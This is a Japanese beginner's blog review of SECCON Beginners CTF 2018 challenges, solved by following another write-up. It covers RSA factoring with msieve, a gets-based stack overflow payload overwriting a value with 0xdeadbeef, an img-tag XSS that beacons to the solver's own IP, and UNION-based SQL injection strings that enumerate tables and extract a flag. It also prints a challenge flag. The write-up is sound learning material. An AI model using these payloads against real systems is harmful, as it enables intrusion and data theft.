SECCON for beginners 2018 【復習回】
Write upみたいなことだけれど、自分で解いた範囲ではなく他の人のWrite upをみて解いてくので、ご了承を。。
初心者の書いた簡単な部分のWrite upはこちら↓
thinline196.hatenablog.com
今回参考にさせていただくのはこちらの凄い方
SECCON Beginners CTF 2018 Write-up - Qiita
RSA is Power 103pt
この問題、RSAと書いてあるので問題内容はすぐに把握。で is Powerと書かれていたので、ああこれはもう脳死で回せと言うことかと笑 ですが、逆にそれしかわからず、pythonのなんかのライブラリでとりあえず約数を求めようとしたものの、なんか全然終わらないしMacは熱を帯びるわで、お手上げしました。
タイトルと一緒に渡され他のはこの文字列
N = 97139961312384239075080721131188244842051515305572003521287545456189235939577 E = 65537 C = 77361455127455996572404451221401510145575776233122006907198858022042920987316
write upを参考にすると、msieveを使って簡単に素因数分解できるそう。ちなみにNを分解します。(どうやらこのNは短い部類に入るそうで、、難易度は低いらしい、)
./msieve -q -v -e 97139961312384239075080721131188244842051515305572003521287545456189235939577 # -eで10進数15桁以上の因数を探索 Msieve v. 1.52 (SVN unknown) Mon May 28 22:21:45 2018 random seeds: a1f76f36 9102150a factoring 97139961312384239075080721131188244842051515305572003521287545456189235939577 (77 digits) searching for 15-digit factors searching for 20-digit factors commencing quadratic sieve (77-digit input) using multiplier of 17 using generic 32kb sieve core sieve interval: 12 blocks of size 32768 processing polynomials in batches of 17 using a sieve bound of 922619 (36471 primes) using large prime bound of 92261900 (26 bits) using trial factoring cutoff of 26 bits polynomial 'A' values have 10 factors sieving in progress (press Ctrl-C to pause) 36992 relations (19524 full + 17468 combined from 192471 partial), need 36567 36992 relations (19524 full + 17468 combined from 192471 partial), need 36567 sieving complete, commencing postprocessing begin with 211995 relations reduce to 52287 relations in 2 passes attempting to read 52287 relations recovered 52287 relations recovered 40984 polynomials attempting to build 36992 cycles found 36992 cycles in 1 passes distribution of cycle lengths: length 1 : 19524 length 2 : 17468 largest cycle: 2 relations matrix is 36471 x 36992 (5.4 MB) with weight 1110613 (30.02/col) sparse part has weight 1110613 (30.02/col) filtering completed in 3 passes matrix is 25358 x 25422 (4.0 MB) with weight 849423 (33.41/col) sparse part has weight 849423 (33.41/col) saving the first 48 matrix rows for later matrix includes 64 packed rows matrix is 25310 x 25422 (2.6 MB) with weight 612458 (24.09/col) sparse part has weight 417300 (16.41/col) commencing Lanczos iteration memory use: 2.6 MB lanczos halted after 402 iterations (dim = 25304) recovered 14 nontrivial dependencies prp39 factor: 299681192390656691733849646142066664329 #因数1 prp39 factor: 324144336644773773047359441106332937713 #因数2 elapsed time 00:02:15
計算量が最小の因数pの大きさに依存するものと合成数nの大きさのみに依存するものに分けることができるらしく、今回使用した楕円曲線法は前者のタイプのアルゴリズムらしいです。ちなみに後者は複数多項式2次ふるい法(MPQS)とか
これを上の参考サイトさんのpythonコードで実行します。どうやらpython2用のコードっぽいのでできない人はpaizaで、
ctf4b{5imple_rs4_1s_3asy_f0r_u}
[Warmup] condition 85pt
言い訳をするとこれ、結果的には解けてました!サーバに投げる文字列作ってました!けどちょうどメモった後、夜ご飯を食べに行ってしまって、、そのまま帰って試さずにこれはダメな奴だったと勝手に思い込んで、、、、ああぁ
[rbp -0x04]の値と 0xdeadbeefの値をcmpで比べている部分がありその直前にgetsがあったので、絶対ここでした。
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDAAAA¥xaf¥xbe¥xed¥xde #44個の文字埋め
getsで入力した値でうまくrbp-0x04先の値を書き換えます。Aをめちゃ大量に入力してgdbなどでどこらへんまでAAAAAAAで書き換わるか探すことで解けるはずです。今回はcmpが成功することで、flagの表示部分までプログラムが走るようになるギミックでした。
Gimme your comment 78pt
このご意見ページからブラウザのUser-Agentを発見しろと言う問題。これ、解くには自分でサーバを立ち上げて上げる必要があったらしいです。Javascriptが本文の場所から入力できて、バリデーションされてないってわかっただけに悔しい問題でした。。
手元にサーバーを立ち上げて、問い合わせの本文に<img src="http://自分のIPアドレス">を書き込む。
と解説されているので、やはり本文のところでした、、まぁどうぜhtmlのタグとか思いつかなくてわからなかったのかもですが笑
色々いじってると次のsql文をどこかしらでやっていることはわかった。
/items.php?minstock=0
今考えればこれは100SQLインジェクションの問題ですね,,笑 全然わかりませんでした。。。
で、解説によればMySQLを使用しているらしいので、スキーマも決定し、
0 UNION SELECT table_name,2,3,4,5 FROM information_schema.tables-- #確認 0 UNION SELECT flag,2,3,4,5 FROM flag-- #取り出し
これ、数日前に対策で少し勉強したところだったので、とても悔しい、、やはり実装されている中で見つけるって言うのは難しかったですね、、
こんな感じで
当日に解けそうだった問題や、解けなかったけどめっちゃ考えた問題を復習しました。
考えて楽しかったのはPwnだったので、初心者なりにまずはじめにPwnを勉強し始めようと思いました。頑張ります
以上。